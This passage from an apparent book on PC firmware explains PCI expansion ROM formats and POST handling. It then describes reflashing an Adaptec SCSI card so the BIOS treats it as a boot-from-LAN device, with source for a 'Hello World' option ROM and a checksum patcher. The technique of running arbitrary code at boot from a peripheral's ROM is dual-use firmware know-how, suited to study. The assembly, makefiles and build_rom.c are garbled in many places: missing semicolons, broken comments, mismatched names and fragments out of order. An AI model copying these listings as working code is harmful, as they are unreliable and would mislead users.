The information required in each ROM image is split into two areas. One area, the ROM header, must be located at the beginning of the ROM image. The second area, the PCI data structure, must be located in the first 64 KB of the image. The format for the PCI expansion ROM header is given in table 7.1. The offset is a hexadecimal number from the beginning of the image, and the length of each field is given in bytes. Extensions to the PCI expansion ROM header, the PCI data structure, or both may be defined by specific system architectures. Extensions for PC-AT-compatible systems are described later.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0h</td>
<td>1</td>
<td>55h</td>
<td>ROM signature, byte 1</td>
</tr>
<tr>
<td>1h</td>
<td>1</td>
<td>AAh</td>
<td>ROM signature, byte 2</td>
</tr>
<tr>
<td>2h−17h</td>
<td>16h</td>
<td>Xx</td>
<td>Reserved (processor architecture unique data)</td>
</tr>
<tr>
<td>18h−19h</td>
<td>2</td>
<td>Xx</td>
<td>Pointer to PCI data structure</td>
</tr>
</tbody>
</table>

*Table 7.1 PCI expansion ROM header format*

- **ROM signature.** The ROM signature is a 2-byte field containing a 55h in the first byte and AAh in the second byte. This signature must be the first 2 bytes of the ROM address space for each image of the ROM.
• **Pointer to PCI data structure.** The pointer to the PCI data structure is a 2-byte pointer in little endian format that points to the PCI data structure. The reference point for this pointer is the beginning of the ROM image.

### 7.1.5.1.2. PCI Data Structure Format

The PCI data structure must be located within the first 64 KB of the ROM image and must be dword aligned. The PCI data structure contains the information in table 7.2.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>4</td>
<td>Signature, the string &quot;PCIR&quot;</td>
</tr>
<tr>
<td>4</td>
<td>2</td>
<td>Vendor identification</td>
</tr>
<tr>
<td>6</td>
<td>2</td>
<td>Device identification</td>
</tr>
<tr>
<td>8</td>
<td>2</td>
<td>Pointer to vital product data</td>
</tr>
<tr>
<td>A</td>
<td>2</td>
<td>PCI data structure length</td>
</tr>
<tr>
<td>C</td>
<td>1</td>
<td>PCI data structure revision</td>
</tr>
<tr>
<td>D</td>
<td>3</td>
<td>Class code</td>
</tr>
<tr>
<td>10</td>
<td>2</td>
<td>Image length</td>
</tr>
<tr>
<td>12</td>
<td>2</td>
<td>Revision level of code/data</td>
</tr>
<tr>
<td>14</td>
<td>1</td>
<td>Code type</td>
</tr>
<tr>
<td>15</td>
<td>1</td>
<td>Indicator</td>
</tr>
<tr>
<td>16</td>
<td>2</td>
<td>Reserved</td>
</tr>
</tbody>
</table>

Table 7.2 PCI data structure format

• **Signature.** These 4 bytes provide a unique signature for the PCI data structure. The string "PCIR" is the signature with P being at offset 0, C at offset 1, etc.

• **Vendor identification.** The vendor identification field is a 16-bit field with the same definition as the vendor identification field in the configuration space for this device.

• **Device identification.** The device identification field is a 16-bit field with the same definition as the device identification field in the configuration space for this device.

• **Pointer to vital product data.** The pointer to vital product data (VPD) is a 16-bit field that is the offset from the start of the ROM image and points to the VPD. This field is in little endian format. The VPD must be within the first 64 KB of the ROM image. A value of 0 indicates that no VPD is in the ROM image.

• **PCI data structure length.** The PCI data structure length is a 16-bit field that defines the length of the data structure from the start of the data structure (the first byte of the signature field). This field is in little endian format and is in units of bytes.

• **PCI data structure revision.** The PCI data structure revision field is an 8-bit field that identifies the data structure revision level. This revision level is 0.
• **Class code.** The class code field is a 24-bit field with the same fields and definition as the class code field in the configuration space for this device.

• **Image length.** The image length field is a 2-byte field that represents the length of the image. This field is in little endian format, and the value is in units of 512 bytes.

• **Revision level.** The revision level field is a 2-byte field that contains the revision level of the code in the ROM image.

• **Code type.** The code type field is a 1-byte field that identifies the type of code contained in this section of the ROM. The code may be executable binary for a specific processor and system architecture or interpretive code. The code types are assigned as shown in table 7.3.

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Intel x86, PC-AT compatible</td>
</tr>
<tr>
<td>1</td>
<td>Open firmware standard for PCI42</td>
</tr>
<tr>
<td>2-FF</td>
<td>Reserved</td>
</tr>
</tbody>
</table>

Table 7.3 Code types

• **Indicator.** Bit 7 in this field tells whether or not this is the last image in the ROM. A value of 1 indicates "last image"; a value of 0 indicates that another image follows. Bits 0–6 are reserved.

### 7.1.5.2. PC-Compatible Expansion ROMs

This section describes further specification on ROM images and the handling of ROM images used in PC-compatible systems. This applies to any image that specifies Intel x86, PC-AT compatible in the code type field of the PCI data structure, and any PC-compatible platform.

The standard header for PCI expansion ROM images is expanded slightly for PC compatibility. Two fields are added. One at offset \(02h\) provides the initialization size for the image. Offset \(03h\) is the entry point for the expansion ROM INIT function (table 7.4).\(^6\)

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0h</td>
<td>1</td>
<td>55h</td>
<td>ROM signature byte 1</td>
</tr>
<tr>
<td>1h</td>
<td>1</td>
<td>AAh</td>
<td>ROM signature byte 2</td>
</tr>
<tr>
<td>2h</td>
<td>1</td>
<td>(xx)</td>
<td>Initialization size: size of the code in units of 512 bytes</td>
</tr>
</tbody>
</table>

\(^6\) The INIT function is the first routine that's called (FAR CALL) by the system BIOS POST routine to start PCI expansion ROM execution.
7.1.5.2.1. POST Code Extensions

POST code in these systems copies the number of bytes specified by the initialization size field into RAM and then calls the INIT function whose entry point is at offset 03h. POST code is required to leave the RAM area where the expansion ROM code was copied to as writable until after the INIT function has returned. This allows the INIT code to store some static data in the RAM area and to adjust the runtime size of the code so that it consumes less space while the system is running. The specific set of steps for the system POST code when handling each expansion ROM are as follows:

1. Map and enable the expansion ROM to an unoccupied area of the memory address space.
2. Find the proper image in the ROM and copy it from ROM into the compatibility area of RAM (typically C0000h to E0000h) using the number of bytes specified by initialization size.
3. Disable the XROMBAR.
4. Leave the RAM area writable and call the INIT function.
5. Use the byte at offset 02h (which may have been modified) to determine how much memory is used at runtime.

Before system boot, the POST code must make the RAM area containing expansion ROM code read only. The POST code must handle VGA devices with expansion ROMs in a special way. The VGA device's expansion BIOS must be copied to C0000h. VGA devices can be identified by examining the class code field in the device's configuration space.

7.1.5.2.2. INIT Function Extensions

PC-compatible expansion ROMs contain an INIT function responsible for initializing the I/O device and preparing for runtime operation. INIT functions in PCI expansion ROMs are allowed some extended capabilities because the RAM area where the code is located is left writable while the INIT function executes.

The INIT function can store static parameters inside its RAM area during the INIT function. This data can then be used by the runtime BIOS or device drivers. This area of RAM will not be writable during runtime.
The **INIT** function can also adjust the amount of RAM that it consumes during runtime. This is done by modifying the size byte at offset 02h in the image. This helps conserve the limited memory resource in the expansion ROM area (C0000h–DFFFFh).

For example, a device expansion ROM may require 24 KB for its initialization and runtime code but only 8 KB for the runtime code. The image in the ROM will show a size of 24 KB so that the POST code copies the whole thing into RAM. Then, when the **INIT** function is running, it can adjust the size byte down to 8 KB. When the **INIT** function returns, the POST code sees that the runtime size is 8 KB and can copy the next expansion BIOS to the optimum location.

The **INIT** function is responsible for guaranteeing that the checksum across the size of the image is correct. If the **INIT** function modifies the RAM area, then a new checksum must be calculated and stored in the image.

If the **INIT** function wants to remove itself from the expansion ROM area, it does so by writing a zero to the initialization size field (the byte at offset 02h). In this case, no checksum has to be generated (since there is no length to checksum across). On entry, the **INIT** function is passed three parameters: the bus number, the device number, and the function number of the device that supplied the expansion ROM. These parameters can be used to access the device being initialized. They are passed in x86 registers: [AH] contains the bus number, the upper 5 bits of [AL] contain the device number, and the lower 3 bits of [AL] contain the function number.

Before calling the **INIT** function, the POST code will allocate resources to the device (using the BAR and interrupt line register) and will complete handling of any user-definable features.

### 7.1.5.2.3. Image Structure

A PC-compatible image has three lengths associated with it: a runtime length, an initialization length, and an image length. The image length is the total length of the image, and it must be greater than or equal to the initialization length.

The initialization length specifies the amount of the image that contains both the initialization and the runtime code. This is the amount of data that the POST code will copy into RAM before executing the initialization routine. Initialization length must be greater than or equal to runtime length. The initialization data copied into RAM must checksum to 0 (using the standard algorithm).

The runtime length specifies the amount of the image that contains the runtime code. This is the amount of data the POST code will leave in RAM while the system is operating. Again, this amount of the image must checksum to 0.

The PCI data structure must be contained within the runtime portion of the image (if there is one); otherwise, it must be contained within the initialization portion.

### 7.1.6. PCI PnP Expansion ROM Structure
Having learned the PCI expansion ROM structure and PnP ROM structure from section 7.1.4 and section 7.1.5, you can deduce the layout of a PCI PnP expansion ROM. The layout is shown in figure 7.3.

![Figure 7.3 PCI PnP expansion ROM layout](image)

Note that the layout shown in figure 7.3 doesn't apply to every PCI expansion ROM. Some PCI expansion ROM only adheres to the PCI expansion ROM specification, not to the PnP specification. I provide an example in chapter 8. Furthermore, the place of the checksum shown in figure 7.3 is not mandatory. The checksum can be located anywhere in the padding byte area or even in another "noninvasive" place across the PCI expansion ROM binary.

One more thing: PCI expansion ROMs that adhere to both the PCI expansion ROM specification and the PnP specification are mostly expansion ROMs for boot devices,
including RAID controllers, SCSI controllers, LAN cards (for boot from LAN), and some other exotic boot devices.

### 7.2. PCI Expansion ROM Peculiarities

It is clear from section 7.1 that the PCI specification and the PnP BIOS specification have a flaw that can be exploited:

Neither specification requires a PCI expansion ROM functionality to be cross-checked by the system BIOS against the physical class code hardwired inside the PCI chip. This means that any PCI expansion card that implement an expansion ROM can be given a different functionality in its expansion ROM code, i.e., a functionality not related to the corresponding PCI chip. The corresponding PCI chip only needs to enable its expansion ROM support in its XROMBAR to be able to activate PCI expansion ROM functionality.

For instance, you can hack a PCI SCSI controller card that has an expansion ROM to behave so that the PnP BIOS thinks it's a real LAN card. You can "boot from LAN" with this card.

I have been experimenting with this flaw, and it works as predicted. By making the PCI expansion ROM contents to conform to an RPL PCI card, I was able to execute the custom-made PCI expansion ROM code. The details of PCI card I tested are as follows:

1. Realtek 8139A LAN card (vendor ID = 10ECh, device ID = 8139h). This is a real PCI LAN card, used for comparison purposes. I equipped it with Atmel AT29C512 flash ROM (64 KB). It is purchased separately because the card doesn't come with flash ROM. The custom PCI expansion ROM were flashed using the flash program provided by Realtek (rtflash.exe). I enabled and set the address space consumed by the flash ROM chip in the XROMBAR of the Realtek chip with Realtek's rset8139.exe software. This step is carried out before flashing the custom-made expansion ROM. Keep in mind that the expansion ROM chip is not accessible until the XROMBAR has been initialized with the right value, unless the XROMBAR value has been hardwired to unconditionally support certain address space for expansion ROM chip.

2. Adaptec AHA-2940U SCSI controller card (vendor ID = 9004, device ID = 8178). It has been equipped with a soldered PLCC SST 29EE512 flash ROM (64 KB). The custom PCI expansion ROM code flashed using a flash program (flash4.exe) from Adaptec. This utility is distributed with the Adaptec PCI SCSI controller BIOS update. The SCSI controller chip has its XROMBAR value hardwired to

---

7 RPL refers to remote program loader. One implementation of an RPL device is a LAN card that supports boot from LAN.
support a 64-KB flash ROM chip. The result is a bit weird; no matter how I changed the BIOS setup (boot from LAN option), the PCI initialization routine (not the BEV routine) always executed. I think this is because the controller's chip subclass code and interface code are inside the PCI chip that refers to the SCSI bus-controller boot device. The "hacked" card behave as if it's a real PCI LAN card; i.e., the system boots from the hacked card if I set the motherboard BIOS to boot from LAN and the experimental BEV routine inside the custom PCI expansion ROM code is invoked.

7.3. Implementation Sample

This section provides an implementation sample from my testbed. The sample is a custom PCI expansion ROM that will be executed after the motherboard BIOS has done initialization. The sample is "jumped into" through its BEV by the motherboard BIOS during bootstrap.\(^3\)

7.3.1. Hardware Testbed

The hardware I used for this sample is the Adaptec AHA-2940U PCI SCSI controller card. The PCI vendor ID of this card is 0x9004, and its PCI device ID is 0x8178. It has a soldered PLCC SST 29EE512 flash ROM (64 KB) for its firmware. It cost around $2.50. I obtained this hardware from a refurbished PC component seller.

The PC used for expansion ROM development and as the target platform has the following hardware configuration shown in table 7.5.

<table>
<thead>
<tr>
<th>Processor</th>
<th>Intel Pentium II 450 MHz</th>
</tr>
</thead>
<tbody>
<tr>
<td>Motherboard</td>
<td>Iwill VD133 (slot 1) with VIA 693A northbridge and VIA 596B southbridge</td>
</tr>
<tr>
<td>Videocard</td>
<td>PowerColor Nvidia Riva TNT2 M64 32 MB</td>
</tr>
<tr>
<td>RAM</td>
<td>256-MB SDRAM</td>
</tr>
<tr>
<td>Soundcard</td>
<td>Addonics Yamaha YMF724</td>
</tr>
<tr>
<td>Network Card</td>
<td>Realtek RTL8139C</td>
</tr>
<tr>
<td>&quot;Hacked&quot; PCI Card</td>
<td>Adaptec AHA-2940U PCI SCSI controller card</td>
</tr>
<tr>
<td>Harddrive</td>
<td>Maxtor 20 GB 5400 RPM</td>
</tr>
<tr>
<td>CDROM</td>
<td>Teac 40X</td>
</tr>
<tr>
<td>Monitor</td>
<td>Samsung SyncMaster 551v (15&quot;)</td>
</tr>
</tbody>
</table>

Table 7.5 PC hardware configuration for testbed

\(^3\) In this context, bootstrap is the process of loading and starting the operating system.
7.3.2. Software Development Tool

I needed three kinds of software for the development of this sample:

1. A development environment that provides a compiler, assembler, and linker for x86. I used GNU software, i.e., GNU AS assembler, GNU LD linker, GNU GCC compiler, and GNU Make. These development tools were running on Slackware Linux 9.0 in the development PC. I used Vi as the editor and Bourne Again Shell (bash) to run these tools. Note that the GNU LD linker must support the ELF object file format to be able to compile the sample source code (provided in a later section). Generally, all Linux distribution supports this object file format by default. As an addition, I used a hex dump utility in Linux to inspect the result of the development.

2. A PCI PnP expansion ROM checksum patcher. As shown in section 7.1, a valid PCI expansion ROM has many checksum values that need to be fulfilled. Because the development environment cannot provide that, I developed a custom tool for it. The source code of this tool is provided in a later section.

3. An Adaptec PCI expansion ROM flash utility for AHA-2940UW. The utility is named flash4.exe; it comes with the Adaptec AHA-2940UW BIOS version 2.57.2 distribution. It's used to flash the custom-made expansion ROM code into the flash ROM of the card. I used a bootable CD-ROM to access real-mode DOS and invoke the flash utility; it also needs DOS4GW. DOS4GW is provided with the Adaptec PCI BIOS distribution.

7.3.3. Expansion ROM Source Code

The basic rundown of what happens when the compiled source code executed is as follows:

1. During POST, the system BIOS look for implemented PCI expansion ROMs from every PCI expansion card by testing the XROMBAR of each card. If it is implemented, then system BIOS will copy the PCI expansion ROM from the address pointed to by the XROMBAR, i.e., the expansion ROM chip to RAM in the expansion ROM area. Then the system BIOS will jump to the INIT function of the PCI expansion ROM. After the PCI expansion ROM has done its initialization, execution is back to the system BIOS. The system BIOS will check the runtime size of the PCI expansion ROM that was initialized previously. It will

---

9 XROMBAR consumed address space.
10 Expansion ROM area in RAM is at the C0000h–DFFFFh physical address.
copy the next PCI expansion ROM from another PCI card (if it exists) to RAM at the following address:

\[
\text{next\_rom\_addr} = \text{previous\_expansion\_rom\_addr} + \text{previous\_expansion\_rom\ runtime\_size}
\]

This effectively "trashed" the unneeded portion of the previous expansion ROM.

2. Having done all PCI expansion ROM initialization, the system BIOS will write-protect the expansion ROM area in RAM. You can protect the code against this possibility by copying to 0000:0000h in RAM.

3. The system BIOS then does a bootstrap. It looks for an IPL device; if you set up the motherboard BIOS to boot from LAN by default, the IPL device will be the "LAN card." Int 19h (bootstrap) will point into the PnP option ROM BEV of the "LAN card" and pass execution into the code there. Therefore, this executes code in the write-protected RAM pointed to by the BEV. There's no writeable area in the code, unless you are loading part of this code into a read-write enabled RAM area and executing it from there.

4. Then, the custom PCI PnP expansion ROM code is executed. The expansion ROM code will copy itself from the expansion ROM area in RAM to physical address 0000_0000h and continue execution from there. After copying itself, the code switches the machine into 32-bit protected mode and displays "Hello World!" in the display. Then the code enters an infinite loop.

The next two subsections deal with the expansion ROM source code. The first section provides the source code of the expansion ROM, and the second one provides the source code of the utility used to patch the binary file resulting from moving the first section's source code into a valid PCI PnP expansion ROM.

### 7.3.3.1. Core PCI PnP Expansion ROM Source Code

The purpose of the source code provided in this section is to show how a PCI PnP expansion ROM source code might look. The role of each file is as follows:

- **makefile**: Makefile used to build the expansion ROM binary.
- **crt0.S**: Assembly language file that contains all the headers needed, entry point for the BEV. The source code in this file initializes the machine from real mode into 32-bit protected mode and prepares an execution environment for the modules that are compiled with C compiler.
- **main.c**: C language source code jumped right after crt0.S finishes its execution. It displays the "Hello World!" message and then enters infinite loop.
- **video.c**: C language source code that provides helper functions for character display on the video screen. The functions interface directly with the video buffer hardware. Functions in this file are called from main.c.
- **ports.c**: C language source code that provides helper functions to interface directly with the hardware. It provides port I/O read-write routines. Functions in this file are called from video.c
- pci_rom.ld: Linker script used to perform linking and relocation to the object file resulting from crt0.S, video.c, ports.c, and main.c.

The overall source code is shown in the listings that follow.

### Listing 7.1 Core Expansion ROM Makefile

```bash
# Makefile for expansion ROM operating system
# Copyright (C) 2005 Darmawan Mappatutu Salihun
# This file is released to the public for noncommercial use only

CC= gcc
CFLAGS= -c
LD= ld
LDFLAGS= -T pci_rom.ld
ASM= as
OBJCOPY= objcopy
OBJCOPY_FLAGS= -v -O binary

OBJS:= crt0.o main.o ports.o video.o
ROM_OBJ= rom.elf
ROM_BIN= rom.bin
ROM_SIZE= 65536

all: $(OBJS)
    $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS)
    $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
    build_rom $(ROM_BIN) $(ROM_SIZE)

crt0.o: crt0.S
    $(ASM) -o $@ <

%.o: %.c
    $(CC) -o $@ <

clean:
    rm -rf *~ *.o *.elf *.bin
```

### Listing 7.2 crt0.s

```bash
# Copyright (C) Darmawan Mappatutu Salihun
```
FILE NAME: crt0.S

This file is released to the public for noncommercial use only

Real mode by default (prefix 66 or 67 to 32-bit instructions)

WARNING!!!

Be sure to synchronize the absolute address used to load the OS code here and in the address defined in the linker script (script.lnk) for the .init section (i.e., section contained in crt0.S)

Rom size = 0x04 # ROM size in multiple of 512 bytes
os_load_seg = 0x0000 # This is working if lgdt is passed with an absolute address
os_code_size = ((rom_size - 1)*512)
os_code_size16 = ( os_code_size / 2 )

Option rom header

.word 0xAA55        # ROM signature byte 1 and 2
.byte rom_size      # Size of this ROM, see earlier definition
jmp _init           # Jump to initialization
.org 0x18
.word _pci_data_struct # Pointer to PCI HDR structure at 18h
.word _pnp_header   # PnP expansion header pointer at 1Ah

PCI data structure

_pci_data_struct:
.ascii "PCIR"        # PCI header sign
.word 0x9004         # Vendor ID
.word 0x8178         # Device ID
.word 0x00           # VPD
.word 0x18           # PCI data struct length (byte)
.byte 0x00           # PCI data struct rev
.byte 0x02           # Base class code, 02h == network controller
.byte 0x00           # Subclass code = 00h and interface = 00h
               # -->Ethernet controller
.byte 0x00           # Interface code, see PCI Rev2.2 Spec, # Appendix D
.word rom_size       # Image length in mul of 512 bytes, little endian format
.word 0x00           # Rev level
.byte 0x00           # Code type = x86
.byte 0x80           # Last image indicator
.word 0x00           # Reserved
# PnP ROM Bios Header

---

_pnp_header:
  .ascii "$PnP"  # PnP Rom header sign
  .byte 0x01     # Structure revision
  .byte 0x02     # Header structure length in mul of 16 bytes
  .word 0x00     # Offset to next header (00 if none)
  .byte 0x00     # Reserved
  .byte 0x00     # 8-bit checksum for this header, calculated and patched by patch2pnprom
  .long 0x00     # PnP device ID --> 0h in Realtek RPL ROM
  .word 0x00     # Pointer to manufacturer string; use empty string
  .word 0x00     # Pointer to product string; use empty string
  .byte 0x02,0x00,0x00 # Device type code 3 byte
  .byte 0x14     # Device indicator, 14h from RPL ROM --> see p. 18 of PnP BIOS spec., Lo nibble (4) means IPL device
  .word 0x00     # Boot connection vector, 00h = disabled
  .word 0x00     # Disconnect vector, 00h = disabled
  .word _start   # BEV
  .word 0x00     # Reserved
  .word 0x00     # Static resource information vector (0000h if unused)

---

# PCI Option ROM initialization Code (init function)

_init:
  andw $0xCF, %ax  # Inform system BIOS that an IPL device attached
  orw  $0x20, %ax  # See PnP spec 1.0A p. 21 for info
  lret            # Return far to system BIOS

---

# Operating system entry point/BEV implementation (bootstrap)

_start:  # Entry point

  movw $0x9000, %ax  # Setup temporary stack
  movw %ax, %ss     # ss = 0x9000

# move ourself from "ROM" ->RAM 0x0000
movw %cs, %ax                # Initialize source address
movw %ax, %ds
movw %os_load_segment, %ax   # Point to OS segment
movw %ax, %es
movl %os_code_size16, %ecx
subw %di, %di
subw %si, %si
clid
rep
movsw
ljmp %os_load_segment, $_setup

_setup:
    movw %cs, %ax                # Initialize segment registers
    movw %ax, %ds

enable_a20:
    cli
    call a20wait
    movb $0xAD, %al
    outb %al, %0x64
    call a20wait
    movb $0xD0, %al
    outb %al, %0x64
    call a20wait2
    inb $0x60, %al
    pushl %eax
    call a20wait
    movb $0xD1, %al
    outb %al, %0x64
    call a20wait
    popl %eax
    or $2, %al
    outb %al, %0x60
    call a20wait
    movb $0xAE, %al
    outb %al, %0x64
    call a20wait
    jmp continue

a20wait:
1:  movl $65536, %ecx
2:  inb $0x64, %al
test $2, %al
jz 3f
loop 2b
jmp 1b
3: ret

a20wait2:
1: movl $65536, %ecx
2: inb $0x64, %al
test $1, %al
jnz 3f
loop 2b
jmp 1b
3: ret

continue:
sti # Enable interrupt

# Switch to P-Mode and jump to kernel, we need BITS 32 here since the 
# code will be executed in 32 bit P-Mode.
#
cli                   # Disable interrupt
lgdt gdt_desc         # Load GDT to GDTR (we load both limit
# and base address)
movl %cr0, %eax       # Switch to P-mode
or $1, %eax
movl %eax, %cr0       # Not yet in P-mode; need a FAR jump
.byte 0x66, 0xea      # Prefix + jmp-opcode (this forces P-mode
# to be reached, i.e., CS to be updated)
.long do_pm           # 32-bit linear address (jump target)
.word SEG_CODE_SEL    # Code segment selector

.code32
do_pm:
xorl %esi, %esi
xorl %edi, %edi
movw $0x10, %ax       # Save data segment identifier (see GDT)
movw %ax, %ds
movw $0x18, %ax       # Save stack segment identifier
movw %ax, %ss
movl $0x90000, %esp
jmp main               # Jump to main function
.align 8, 0            # Align GDT in 8-byte boundary

# GDT definition

gdt_marker:          # Dummy segment descriptor (GDT)
   .long  0
   .long  0

SEG_CODE_SEL = ( . - gdt_marker)
SegDesc1:            # Kernel CS (08h) PL0, 08h is an identifier
   .word  0xffff # seg_length0_15
   .word  0   # base_addr0_15
   .byte  0   # base_addr16_23
   .byte  0x9A # Flags
   .byte  0xcf # Access
   .byte  0   # base_addr24_31

SEG_DATA_SEL = ( . - gdt_marker)
SegDesc2:            # Kernel DS (10h) PL0
   .word  0xffff # seg_length0_15
   .word  0   # base_addr0_15
   .byte  0   # base_addr16_23
   .byte  0x92 # Flags
   .byte  0xcf # Access
   .byte  0   # base_addr24_31

SEG_STACK_SEL = ( . - gdt_marker)
SegDesc3:            # Kernel SS (18h) PL0
   .word  0xffff # seg_length0_15
   .word  0   # base_addr0_15
   .byte  0   # base_addr16_23
   .byte  0x92 # Flags
   .byte  0xcf # Access
   .byte  0   # base_addr24_31

gdt_end:
gdt_desc:     .word  (gdt_end - gdt_marker - 1) # GDT limit
   .long  gdt_marker                 # Physical addr of GDT

Listing 7.3 main.c
/* ----------------------------------------------------------------------
Copyright (C)  Darmawan Mappatutu Salihun
File name : main.c
This file is released to the public for noncommercial use only
--------------------------------------------------------------------- */

int main()
{
   const char *hello = "Hello World!";
   clrscr();
   print(hello);
   for(;;);
}
Listing 7.4 ports.c

```c
/* ---------------------------------------------------------------------
Copyright (C) Darmawan Mappatutu Salihun
File name : ports.c
This file is released to the public for noncommercial use only
--------------------------------------------------------------------- */

unsigned char in(unsigned short _port) {
    // "=a" (result) means: put AL register in variable result when
    // finished
    // "d" (_port) means: load EDX with _port
    unsigned char result;
    __asm__  ("in %%dx, %%al": "=a" (result): "d" (_port));
    return result;
}

void out(unsigned short _port, unsigned char _data) {
    // "a" (_data) means: load EAX with _data
    // "d" (_port) means: load EDX with _port
    __asm__ ("out %%al, %%dx": "a" (_data), "d" (_port));
}
```

Listing 7.5 video.c

```c
/* ---------------------------------------------------------------------
Copyright (C) Darmawan Mappatutu Salihun
File name : video.c
This file is released to the public for noncommercial use only
--------------------------------------------------------------------- */

void clrscr() {
    unsigned char *vidmem = (unsigned char *)0xB8000;
    const long size = 80*25;
    long loop;

    // Clear visible video memory
    for (loop=0; loop<size; loop++) {
        *vidmem++ = 0;
        *vidmem++ = 0xF;
    }
}
```
void print(const char * _message) {
    unsigned short offset;
    unsigned long i;
    unsigned char * vidmem = (unsigned char *) 0xB8000;

    // Read cursor position
    out(0x3D4, 14);
    offset = in(0x3D5) << 8;
    out(0x3D4, 15);
    offset |= in(0x3D5);

    // Start at writing at cursor position
    vidmem += offset*2;

    // Continue until null character
    i = 0;
    while (_message[i] != 0) {
        *vidmem = _message[i++];
        vidmem += 2;
    }

    // Set new cursor position
    offset += i;
    out(0x3D5, (unsigned char)(offset));
    out(0x3D4, 14);
    out(0x3D5, (unsigned char)(offset >> 8));
}
7.3.3.2. PCI PnP Expansion ROM Checksum Utility Source Code

The source code provided in this section is used to build the build_rom utility, which is used to patch the checksums of the PCI PnP expansion ROM binary produced by section 7.3.3.1. The role of each file as follows:

- `makefile`: Makefile used to build the utility
- `build_rom.c`: C language source code for the `build_rom` utility

Listing 7.7 PCI Expansion ROM Checksum Utility Makefile

```
# Copyright (C) Darmawan Mappatutu Salihun
# File name : Makefile
# This file is released to the public for noncommercial use only
# -------------------------------

CC= gcc
CFLAGS= -Wall -O2 -march=i686 -mccpu=i686 -c
LD= gcc
LDFLAGS=
```
all: build_rom.o
    $(LD) $(LDFLAGS) -o build_rom build_rom.o
    cp build_rom ../
%.o: %.c
    $(CC) $(CFLAGS) -o $@ $<
clean:
    rm -rf *~ build_rom *.o

Listing 7.8 build_rom.c
/* ----------------------------------------------------------------------
*  File name : build_rom.c
*  This file is released to the public for noncommercial use only
*  Description :
*  This program zero-extends its input binary file and then patches it
*  into a valid PCI PnP ROM binary.
* ---------------------------------------------------------------------- */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
enum {
    MAX_FILE_NAME = 100,
    ITEM_COUNT = 1,
    ROM_SIZE_INDEX = 0x2,
    PnP_HDR_PTR = 0x1A,
    PnP_CHKSUM_INDEX = 0x9,
    PnP_HDR_SIZE_INDEX = 0x5,
    ROM_CHKSUM = 0x10, /* Reserved position in PCI PnP ROM, that
    can be used */
};

static int ZeroExtend(char * f_name, u32 target_size)
{
    FILE* f_in;
    long file_size, target_file_size, padding_size;

char* pch_buff;

target_file_size = target_size; // Cast ulong to long

if( (f_in = fopen(f_name, "ab")) == NULL)
{
    printf("error opening file\n closing program...\n")
    return -1;
}

if(fseek(f_in, 0, SEEK_END) != 0)
{
    printf("error seeking file\n closing program...\n")
    fclose(f_in);
    return -1;
}

if( (file_size = ftell(f_in)) == -1)
{
    printf("error counting file size\n closing program...\n")
    fclose(f_in);
    return -1;
}

if( file_size >= target_file_size)
{
    printf("Input error, Target file size is smaller than"
            "the original file size\n")
    fclose(f_in);
    return -1;
}

/ * Zero-extend the target file *
*/

padding_size = target_file_size - file_size;
pch_buff = (char*) malloc(sizeof(char) * padding_size);

if(NULL != pch_buff) {
    memset(pch_buff, 0, sizeof(char) * padding_size);
    fseek(f_in, 0, SEEK_END);
    fwrite(pch_buff, sizeof(char), padding_size, f_in);
    fclose(f_in);
    free(pch_buff);
    return 0;// Success
} else {
    fclose(f_in);
    return -1;
static u8 CalcChecksum(FILE* fp, u32 size)
{
    u32  position = 0x00; /* Position of file pointer */
    u8  checksum = 0x00;

    /* Set file pointer to the beginning of file */
    if(!fseek(fp,0,SEEK_SET))
    {
        /* Calculate 8-bit checksum 
         * file size = size * 512 byte = size * 0x200 
         */
        for(; position < (size * 0x200) ; position++)
        {
            checksum = ( (checksum + fgetc(fp)) % 0x100);
        }
        printf("calculated checksum = %#x \n",checksum);
    }
    else
    {
        printf("function CalcChecksum:Failed to seek through" 
                "the beginning of file\n");
    }

    return checksum;
}

static int
Patch2PnpRom(char* f_name)
{
    FILE* fp;
    u8  checksum_byte;
    u32  rom_size; /* Size of ROM source code in multiple of 
                    512 bytes */
    u8  pnp_header_pos;
    u8  pnp_checksum = 0x00;
    u8  pnp_checksum_byte;
    u8  pnp_hdr_counter = 0x00;
    u8  pnp_hdr_size;

    if( (fp = fopen( f_name , "rb+")) == NULL)
    {
        return 0;
    }

    /* Read file */
    if(!fread(&rom_data,1,rom_size,fp))
    {
        printf("function Patch2PnpRom:Failed to read file\n");
        return 0;
    }
printf("Error opening file\nclosing program...");
return -1;
}

/* Save ROM source code file size, which is located
at index 0x2 from beginning of file (zero-based index) */
fseek(fp, ROM_SIZE_INDEX, SEEK_SET);
rom_size = fgetc(fp);

/* Patch PnP header checksum */
if(fseek(fp,PnP_HDR_PTR,SEEK_SET) != 0)
{
    printf("Error seeking PnP Header");
    fclose(fp);
    return -1;
}

pnp_header_pos = fgetc(fp); /* Save PnP header offset */
if(fseek(fp,(pnp_header_pos + PnP_HDR_SIZE_INDEX),
    SEEK_SET) != 0)
{
    printf("Error seeking PnP Header Checksum\n");
    fclose(fp);
    return -1;
}

pnp_hdr_size = fgetc(fp); /* Save PnP header size*/

/* Reset current checksum to 0x00 so that
the checksum won't be wrong if calculated */
if(fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX),SEEK_SET) != 0)
{
    printf("Error seeking PnP Header Checksum\n");
    fclose(fp);
    return -1;
}

if(fputc(0x00,fp) == EOF)
{
    printf("Error resetting PnP Header checksum
" value\n");
    fclose(fp);
    return -1;
}

/* Calculate PnP header checksum */
if(fseek(fp,pnp_header_pos,SEEK_SET) != 0)
{
printf( "Error seeking to calculate PnP Header" " checksum");
fclose(fp);
return -1;
}
/*
PnP BIOS header size is calculated in 16-byte increments */
for(; pnp_hdr_counter < (pnp_hdr_size * 0x10) ;
    pnp_hdr_counter++){
    pnp_checksum = ((pnp_checksum + fgetc(fp)) %
    0x100);
}
